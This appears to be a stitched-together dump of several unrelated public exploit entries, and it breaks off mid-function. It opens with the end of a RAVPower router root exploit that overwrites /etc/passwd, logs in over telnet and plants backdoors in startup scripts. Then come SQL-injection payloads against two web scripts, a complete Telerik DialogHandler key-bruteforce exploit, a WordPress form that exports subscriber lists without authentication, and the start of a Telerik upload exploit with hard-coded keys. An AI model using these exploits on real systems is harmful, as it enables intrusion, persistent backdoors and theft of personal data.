export PATH=/bin:/sbin:/usr/bin:/usr/sbin
# A function to stop a program.
killproc() {
local base=${1##*/}
local pid=
pid=`pidof $base`
local i
if [ -n "$pid" ]; then
for i in $pid ; do
kill -KILL $i > /dev/null 2>&1
done
fi
rm -f /var/run/$base.pid
return 0
}
# A function to find the pid of a program.
pidofproc() {
local base=${1##*/}
#First try "/var/run/*.pid" files
if [ -f "/var/run/$base.pid" ]; then
local line p pid=
read line < /var/run/$base.pid
for p in $line ; do
[ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p"
done
else
pid=`pidof $1 || pidof $base`
fi
if [ -n "$pid" ]; then
echo $pid
return 0
fi
return 1
}
# Check if $pid (could be plural) are running
# Return : 0 run
# 1 stop
checkpid() {
local i
for i in $* ; do
if [ -d "/proc/$i" ]; then
return 0
fi
done
return 1
}
# Check disk exist
checkdisk() {
return $?
}
# save pid and log function
savesc() {
local i=0
if [ -n "$3" ]; then
touch /var/run/$3.pid
fi
return $?
}
# A function check start of a program.
# return: 1 not exist
# 0 exist
checkonly() {
local prgname=${1##*/}
local pid=
if [ -f "/var/run/$prgname.pid" ]; then
pid=`pidof $prgname`
if [ -n "$pid" ]; then
return 0
fi
return 1
else
pid=`pidof $prgname`
if [ -n "$pid" ]; then
if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then
return 2
fi
fi
return 2
fi
}
# A function save etc to mtd.
# return: 1 failure
# 0 success
saveetc() {
local ret=0
/usr/sbin/etc_tools t > /dev/null 2>&1
let ret=ret+$?
# ret=$[$ret + $?]
/usr/sbin/etc_tools p > /dev/null 2>&1
let ret=ret+$?
# ret=$[$ret + $?]
return $ret
}
# A function resume mtd to etc.
# return: 1 failure
# 0 success
resumeetc() {
local ret=0
/usr/sbin/etc_tools b > /dev/null 2>&1
let ret=ret+$?
# ret=$[$ret + $?]
/usr/sbin/etc_tools u > /dev/null 2>&1
let ret=ret+$?
# ret=$[$ret + $?]
return $ret
}
# Create a lock for /var/lock
AppScriptLock() {
if [ -f /var/lock/$1.pid ]; then
return 0
else
touch /var/lock/$1.pid
return 1
fi
}
# Check a lock for /var/lock
AppScriptChkLock() {
if [ -f /var/lock/$1.pid ]; then
return 1
else
return 0
fi
}
# Delete a lock for /var/lock
AppScriptUnlock() {
if [ -f /var/lock/$1.pid ]; then
rm -rf /var/lock/$1.pid
fi
return 1
}
DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade"
ETCPATH="/boot/tmp"
ETCBKPATH="/boot/tmp/etcbackup"
DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar"
DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz"
ETCFILE="/boot/tmp/etc.tar"
ETCBKFILETAR="/boot/tmp/etcbackup.tar"
ETCBKFILE="/boot/tmp/etcbackup.tar.gz"
FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu"
FILELIST1="hostname"
backup_etc() {
rm $ETCBKFILETAR -rf
rm $ETCBKFILE -rf
rm $ETCBKPATH -rf
# if [ ! -e $DISKPATH ];then
# mkdir -p -m 755 $DISKPATH
# fi
if [ ! -e $ETCBKPATH ]; then
mkdir -p -m 755 $ETCBKPATH
fi
if [ -z $1 ]; then
FILELISTALL=$FILELIST
else
if [ $1 == "resume" ]; then
FILELISTALL=$FILELIST1
fi
fi
for f in $FILELISTALL
do
if [ -d /etc/$f ]; then
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1
else
if [ "$f" == "samba/smbpasswd" ]; then
if [ ! -e $ETCBKPATH/samba ]; then
mkdir -p $ETCBKPATH/samba
fi
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
elif [ "$f" == "fileserv/lighttpd.user" ]; then
if [ ! -e $ETCBKPATH/fileserv ]; then
mkdir -p $ETCBKPATH/fileserv
fi
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
elif [ "$f" == "serversman/cloud.conf" ]; then
if [ ! -f /etc/$f ]; then
continue
fi
if [ ! -e $ETCBKPATH/serversman ]; then
mkdir -p $ETCBKPATH/serversman
fi
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1
else
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1
fi
fi
done
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1
gzip $ETCBKFILETAR
if [ -f $ETCBKFILE ]; then
cp -rf $ETCBKFILE $DIDKETCBKFILE
fi
}
backup_etc_telnet() {
rm $ETCBKFILETAR -rf
rm $ETCBKFILE -rf
rm $ETCBKPATH -rf
# if [ ! -e $DISKPATH ];then
# mkdir -p -m 755 $DISKPATH
# fi
if [ ! -e $ETCBKPATH ]; then
mkdir -p -m 755 $ETCBKPATH
fi
if [ -z $1 ]; then
FILELISTALL=$FILELIST
else
if [ $1 == "resume" ]; then
FILELISTALL=$FILELIST1
fi
fi
touch $ETCBKPATH/telnetflag
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1
gzip $ETCBKFILETAR
if [ -f $ETCBKFILE ]; then
cp -rf $ETCBKFILE $DIDKETCBKFILE
fi
}
restore_etc() {
if [ -f $ETCBKFILE ]; then
gunzip $ETCBKFILE
tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1
for f in $FILELIST
do
if [ -d /etc/$f ]; then
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
#cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1
else
if [ "$f" == "samba/smbpasswd" ]; then
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
elif [ "$f" == "fileserv/lighttpd.user" ]; then
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
elif [ "$f" == "serversman/cloud.conf" ]; then
if [ ! -f $ETCBKPATH/$f ]; then
continue
fi
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
else
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1
fi
fi
done
if [ -f $ETCBKPATH/telnetflag ]; then
touch /etc/telnetflag
fi
fi
}
# A function check usb flag
# return: 0 service start
# 1 service stop
check_usb_flag() {
local ret=0
if [ -e "/proc/usbwrite" ];then
ret=`cat /proc/usbwrite`
fi
return $ret
}
###########################################################################
#
# LED operations
#
###########################################################################
led_wink_start() {
LED=`cat /proc/vsled`
if [ $LED -eq 3 ]; then
pioctl wifi 2
fi
}
led_wink_stop() {
LED=`cat /proc/vsled`
if [ $LED -eq 2 ]; then
pioctl wifi 3
fi
}
led_wink_chk() {
LED=`cat /proc/vsled`
if [ $LED -eq 2 ]; then
return 1
else
return 0
fi
}
###########################################################################
#
# Flag operation
#
###########################################################################
flagctl_get() {
if [ -e /dev/sda ]; then
trynum=0
while [ $trynum -lt 3 ]; do
retval=`/usr/sbin/flagctl disk get $1`
if [ ! -z $retval ]; then
return $retval
fi
let trynum=trynum+1
# trynum=$[$trynum+1]
sleep 1
done
fi
}
flagctl_set() {
if [ -e /dev/sda ]; then
trynum=0
while [ $trynum -lt 3 ]; do
/usr/sbin/flagctl disk set $1 $2
flagctl_get $1
if [ "$?" -eq "$2" ]; then
sync
return 1
fi
let trynum=trynum+1
# trynum=$[$trynum+1]
sleep 1
done
fi
return 0
}
###########################################################################
#
# string function
#
###########################################################################
str_func_strstr () {
if [ ${#2} -eq 0 ];then
echo "$1"
return 0
fi
case "$1" in
*$2*)
return 1
;;
*)
return 0
;;
esac
}
dev_test_host() {
nordev=`echo $1 | cut -c -3`
s_str=`ls -l /sys/block/$nordev/device`
str_func_strstr "$s_str" "host0"
if [ $? -eq 1 ]; then
return 1
fi
return 0;
}
dev_test_usb() {
nordev=`echo $1 | cut -c -3`
s_str=`ls -l /sys/block/$nordev/device`
str_func_strstr "$s_str" "usb"
if [ $? -eq 1 ]; then
return 1
fi
return 0;
}
###########################################################################
#
# Permission check functions
#
###########################################################################
# $1: device name
# $2: host/usb
# $3: if recursive, 1: enable, 0: disable
perm_change_start() {
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`
if [ ! -z $permpid ]; then
return 1;
else
/usr/sbin/permchange $1 $2 $3 &
fi
}
# $1: device name
# $2: if recursive, 1: enable, 0: disable
perm_chk_start() {
dev_test_host $1
if [ $? -eq 1 ]; then
perm_change_start $1 host $2
else
perm_change_start $1 usb $2
fi
}
perm_chk_stop() {
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`
if [ ! -z $permpid ]; then
for ppid in $permpid ; do
kill -9 $ppid > /dev/null 2>&1
done
fi
}
###########################################################################
# Time function
###########################################################################
timedate_settosys() {
if [ -e /etc/timedate ]; then
TIMESET=`cat /etc/timedate`
date -s $TIMESET
fi
}
timedate_save() {
date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate
}
"""
print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n"
host = raw_input("Insert Ravpower IP: ")
print "[*] Step 1 -> pwning /etc/passwd"
if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd):
print "[-] Filed to pwn /etc/passwd maybe fixed?"
exit(0)
print "[*] Step 2 -> pwning /etc/init.d/vstfunc"
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc):
print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?"
exit(0)
t = None
print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)"
while True:
try:
print "[*] Step 3-1 -> Trying to telnet..."
t = telnetlib.Telnet(host, port=1111)
break
except:
time.sleep(5)
t.read_until(": ")
t.write("root\n")
t.read_until(": ")
t.write("admin\n")
t.read_until("# ")
print "[*] Step 4 -> pwning /etc/rc.d/rc"
t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC))
t.read_until("# ")
t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC))
t.read_until("# ")
print "[*] Step 4-1 -> pwned!"
print "[*] Step 5 -> Saving settings"
t.write("/usr/sbin/etc_tools p\n")
t.read_until("# ")
print "[*] Step 5-1 -> Done!"
print "[*] Step 6 -> Starting telnetd"
t.write("/usr/sbin/telnetd &\n")
t.read_until("# ")
print "[*] Step 6-1 -> Done!"
print "[*] Step 7 -> Killing old telnet"
t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n")
t.read_until("# ")
print "[*] Step 7-1 -> Done!"
print "[*] Step 8 -> Restoring vstfunc"
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc):
print "[-] Filed to pwn /etc/init.d/vstfunc fixed?"
exit(0)
print "[*] Step 8-1 -> Done!"
print "[!] PWNAGE COMPLETED! connect with root:admin"
# # # # #
# Exploit Title: Professional Local Directory Script 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.eihitech.com/
# Software Link: http://www.eihitech.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/sellers_subcategories.php?IndustryID=[SQL]
#
# -105++/*!08888uNiOn*/(/*!08888SelECt*/+0x3078323833313239,0x283229,0x283329,0x283429,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283629,0x283729)--+-
#
# 2)
# http://localhost/[PATH]/suppliers.php?IndustryID=[SQL]&CategoryID=[SQL]
#
# # # # #
# # # # #
# Exploit Title: Flexible Poll 1.2 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ddywpro.com/
# Software Link: https://codecanyon.net/item/flexible-poll/4363114
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?id=[SQL]
#
# 2)
# http://localhost/[PATH]/mobile_preview.php?id=[SQL]
#
# -714'+UniOn+SElecT+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),2,3,4,5--+-
#
# # # # #
# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
# Filename: dp_crypto.py
# Github: https://github.com/bao7uo/dp_crypto
# Date: 2018-01-23
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-9248
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness
# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
#!/usr/bin/python3
# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise
# Warning - no cert warnings,
# and verify = False in code below prevents verification
import sys
import base64
import requests
import re
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_sent = 0
char_requests = 0
def get_result(plaintext, key, session, pad_chars):
global requests_sent, char_requests
url = sys.argv[2]
base_pad = (len(key) % 4)
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
dp_encrypted = base64.b64encode(
(encrypt(plaintext, key) + base).encode()
).decode()
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
request = request.prepare()
response = session.send(request, verify=False)
requests_sent += 1
char_requests += 1
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
return True \
if match is not None \
and match.group(2) == "Index was outside the bounds of the array." \
else False
def test_keychar(keychar, found, session, pad_chars):
base64chars = [
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
"P", "f", "v", "/"
]
duff = False
accuracy_thoroughness_threshold = sys.argv[5]
for bc in range(int(accuracy_thoroughness_threshold)):
# ^^ max is len(base64chars)
sys.stdout.write("\b\b" + base64chars[bc] + "]")
sys.stdout.flush()
if not get_result(
base64chars[0] * len(found) + base64chars[bc],
found + keychar, session, pad_chars
):
duff = True
break
return False if duff else True
def encrypt(dpdata, key):
encrypted = []
k = 0
for i in range(len(dpdata)):
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
k = 0 if k >= len(key) - 1 else k + 1
return ''.join(str(e) for e in encrypted)
def mode_decrypt():
ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
key = sys.argv[3]
print(base64.b64decode(encrypt(ciphertext, key)).decode())
print("")
def mode_encrypt():
plaintext = sys.argv[2]
key = sys.argv[3]
plaintext = base64.b64encode(plaintext.encode()).decode()
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
print("")
def test_keypos(key_charset, unprintable, found, session):
pad_chars = ''
for pad_char in range(256):
pad_chars += chr(pad_char)
for i in range(len(pad_chars)):
for k in range(len(key_charset)):
keychar = key_charset[k]
sys.stdout.write("\b"*6)
sys.stdout.write(
(
keychar
if unprintable is False
else '+'
) +
") [" + (
keychar
if unprintable is False
else '+'
) +
"]"
)
sys.stdout.flush()
if test_keychar(keychar, found, session, pad_chars[i] * 3):
return keychar
return False
def get_key(session):
global char_requests
found = ''
unprintable = False
key_length = sys.argv[3]
key_charset = sys.argv[4]
if key_charset == 'all':
unprintable = True
key_charset = ''
for i in range(256):
key_charset += chr(i)
else:
if key_charset == 'hex':
key_charset = '01234567890ABCDEF'
print("Attacking " + sys.argv[2])
print(
"to find key of length [" +
str(key_length) +
"] with accuracy threshold [" +
sys.argv[5] +
"]"
)
print(
"using key charset [" +
(
key_charset
if unprintable is False
else '- all ASCII -'
) +
"]\n"
)
for i in range(int(key_length)):
pos_str = (
str(i + 1)
if i > 8
else "0" + str(i + 1)
)
sys.stdout.write("Key position " + pos_str + ": (------")
sys.stdout.flush()
keychar = test_keypos(key_charset, unprintable, found, session)
if keychar is not False:
found = found + keychar
sys.stdout.write(
"\b"*7 + "{" +
(
keychar
if unprintable is False
else '0x' + binascii.hexlify(keychar.encode()).decode()
) +
"} found with " +
str(char_requests) +
" requests, total so far: " +
str(requests_sent) +
"\n"
)
sys.stdout.flush()
char_requests = 0
else:
sys.stdout.write("\b"*7 + "Not found, quitting\n")
sys.stdout.flush()
break
if keychar is not False:
print("Found key: " +
(
found
if unprintable is False
else "(hex) " + binascii.hexlify(found.encode()).decode()
)
)
print("Total web requests: " + str(requests_sent))
return found
def mode_brutekey():
session = requests.Session()
found = get_key(session)
if found == '':
return
else:
urls = {}
url_path = sys.argv[2]
params = (
'?DialogName=DocumentManager' +
'&renderMode=2' +
'&Skin=Default' +
'&Title=Document%20Manager' +
'&dpptn=' +
'&isRtl=false' +
'&dp='
)
versions = [
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
'2017.3.913'
]
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
plaintext3 = ';AllowMultipleSelection,False,3,False'
for version in versions:
plaintext2_raw2 = version
plaintext2 = base64.b64encode(
(plaintext2_raw1 +
plaintext2_raw2 +
plaintext2_raw3
).encode()
).decode()
plaintext = plaintext1 + plaintext2 + plaintext3
plaintext = base64.b64encode(
plaintext.encode()
).decode()
ciphertext = base64.b64encode(
encrypt(
plaintext,
found
).encode()
).decode()
full_url = url_path + params + ciphertext
urls[version] = full_url
found_valid_version = False
for version in urls:
url = urls[version]
request = requests.Request('GET', url)
request = request.prepare()
response = session.send(request, verify=False)
if response.status_code == 500:
continue
else:
match = re.search(
"(Error Message:)(.+\n*.+)(</div>)",
response.text
)
if match is None:
print(version + ": " + url)
found_valid_version = True
break
if not found_valid_version:
print("No valid version found")
def mode_samples():
print("Samples for testing decryption and encryption functions:")
print("-d ciphertext key")
print("-e plaintext key")
print("")
print("Key:")
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
print("")
print("Plaintext:")
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
print("")
print("Ciphertext:")
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
print("")
def mode_b64e():
print(base64.b64encode(sys.argv[2].encode()).decode())
print("")
def mode_b64d():
print(base64.b64decode(sys.argv[2].encode()).decode())
print("")
def mode_help():
print("Usage:")
print("")
print("Decrypt a ciphertext: -d ciphertext key")
print("Encrypt a plaintext: -e plaintext key")
print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
print("Encode parameter to base64: -b plain_parameter")
print("Decode base64 parameter: -p encoded_parameter")
print("")
print("To test all ascii characters set key_charset to: all, " +
"for upper case hex (e.g. machine key) set to hex.")
print("")
print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
"accuracy of 9 will usually suffice for a hex, but 21 or more " +
"might be needed when testing all ascii characters.")
print("Increase the accuracy argument if no valid version is found.")
print("")
print("Examples to generate a valid file manager URL:")
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
print("")
sys.stderr.write(
"\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
)
if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-d" and len(sys.argv) == 4:
mode_decrypt()
elif sys.argv[1] == "-e" and len(sys.argv) == 4:
mode_encrypt()
elif sys.argv[1] == "-k" and len(sys.argv) == 6:
mode_brutekey()
elif sys.argv[1] == "-s" and len(sys.argv) == 2:
mode_samples()
elif sys.argv[1] == "-b" and len(sys.argv) == 3:
mode_b64e()
elif sys.argv[1] == "-p" and len(sys.argv) == 3:
mode_b64d()
else:
mode_help()
# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
# Google Dork:
# Date: 2018-01-23
# Exploit Author: ThreatPress Security
# Vendor Homepage: http://icegram.com/
# Software Link: https://wordpress.org/plugins/email-subscribers/
# Version: 3.4.7
# Tested on: WordPress 4.9.2
# CVE :
Email Subscribers & Newsletters, a popular WordPress plugin, has just fixed
the vulnerability that allows an unauthenticated user to download the entire subscriber
list with names and e-mail addresses.
Exploit:
<form action="http://DOMAINTOTEST.com/?es=export" method="post">
<input type="text" name="option" value="view_all_subscribers" />
<input type="submit" value="Exploit" />
</form>
# Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
# Filename: RAU_crypto.py
# Github: https://github.com/bao7uo/RAU_crypto
# Date: 2018-01-23
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-11317, CVE-2017-11357
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
#!/usr/bin/python3
# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py
# RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357
# Telerik Web UI for ASP.NET AJAX
# RadAsyncUpload hardcoded keys / insecure direct object reference
# Arbitrary file upload
# Telerik fixed in June 2017 by removing default keys in
# versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
# RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)
# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security
# http://target/Telerik.Web.UI.WebResource.axd?type=rau
import sys
import base64
import json
import re
import requests
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
import binascii
# Warning, the below prevents certificate warnings,
# and verify = False in the later code prevents them being verified
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class RAUCipher:
key = binascii.unhexlify("EB8AF90FDE30FECBE330E807CF0B4252" +
"A44E9F06A2EA4AF10B046F598DD3EA0C")
iv = binascii.unhexlify("E330E807CF0B425255A3A561A707D269")
def encrypt(plaintext):
sys.stderr.write("Encrypting... ")
encoded = ""
for i in plaintext:
encoded = encoded + i + "\x00"
plaintext = encoded + (
chr(16 - (len(encoded) % 16)) *
(16 - (len(encoded) % 16))
)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
sys.stderr.write("done\n")
return base64.b64encode(cipher.encrypt(plaintext)).decode()
def decrypt(ciphertext):
sys.stderr.write("Decrypting... ")
ciphertext = base64.b64decode(ciphertext)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
unpad = lambda s: s[0:-ord(chr(s[-1]))]
sys.stderr.write("done\n")
return unpad(cipher.decrypt(ciphertext[0:])).decode()[0::2]
def addHmac(string, Version):
